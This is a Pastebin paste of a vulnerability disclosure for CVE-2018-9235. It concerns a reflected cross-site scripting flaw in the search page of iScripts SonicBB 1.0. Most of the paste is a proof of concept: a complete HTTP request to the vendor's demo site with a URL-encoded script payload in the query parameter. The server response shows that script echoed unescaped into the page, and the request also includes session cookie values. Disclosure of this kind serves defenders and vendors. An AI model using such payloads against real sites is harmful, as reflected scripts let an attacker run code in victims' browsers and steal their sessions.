daily pastebin goal
8%
SHARE
TWEET

CVE-2018-9235

ManhNho Apr 4th, 2018 368 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Exploit Title: iScripts SonicBB 1.0 - Reflected Cross-Site Scripting
  2. # Date: 02/04/2018
  3. # Exploit Author: ManhNho
  4. # Contact: https://facebook.com/aviciicloud
  5. # Vendor Homepage: https://www.iscripts.com
  6. # Demo Page: https://www.demo.iscripts.com/sonicbb/demo/
  7. # Version: 1.0
  8. # Tested on: Windows 10
  9. # Category: Webapps
  10. # CVE: CVE-2018-9235
  11.  
  12. 1. Description
  13. ====================
  14. iScripts SonicBB 1.0 is affected by a XSS vulnerability
  15.  
  16. 2. PoC
  17. ====================
  18. Request:
  19.  
  20. GET /sonicbb/demo/search.php?query=%22%3E%3Cscript%3Ealert%28%271%27%29%3C%2Fscript%3E HTTP/1.1
  21. Host: www.demo.iscripts.com
  22. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
  23. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  24. Accept-Language: en-GB,en;q=0.5
  25. Accept-Encoding: gzip, deflate
  26. Cookie: __utma=227100805.298811387.1522637403.1522637403.1522637403.1; __utmb=227100805; __utmc=227100805; __utmz=227100805.1522637403.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=grh7l3amrvhoapig8ll268l9o4; messagesUtk=9ae2fcc5306f4d9c8d433f0f58efb968; hs-messages-is-open=false
  27. Connection: close
  28. Upgrade-Insecure-Requests: 1
  29.  
  30. Response:
  31.  
  32. HTTP/1.1 200 OK
  33. Date: Mon, 02 Apr 2018 02:58:48 GMT
  34. Server: Apache
  35. Expires: Thu, 19 Nov 1981 08:52:00 GMT
  36. Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  37. Pragma: no-cache
  38. Connection: close
  39. Content-Type: text/html
  40. Content-Length: 3619
  41. ...
  42.     <tr>
  43.      <td width="76%" class="alt1"><a href="index.php">iScripts Forum</a> -> <a href="search.php?query="><script>alert('1')</script>">Search</a></td>
  44.      <td width="24%" align="center" class="alt1">
  45.       <form method="GET" action="search.php" style="display: inline">
  46.        <input type="text" name="query" size="12" style="font-size: 10px">
  47.        <input type="submit" value="Search" style="font-size: 10px">
  48.       </form>
  49.      </td>
  50.     </tr>
  51. ...
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top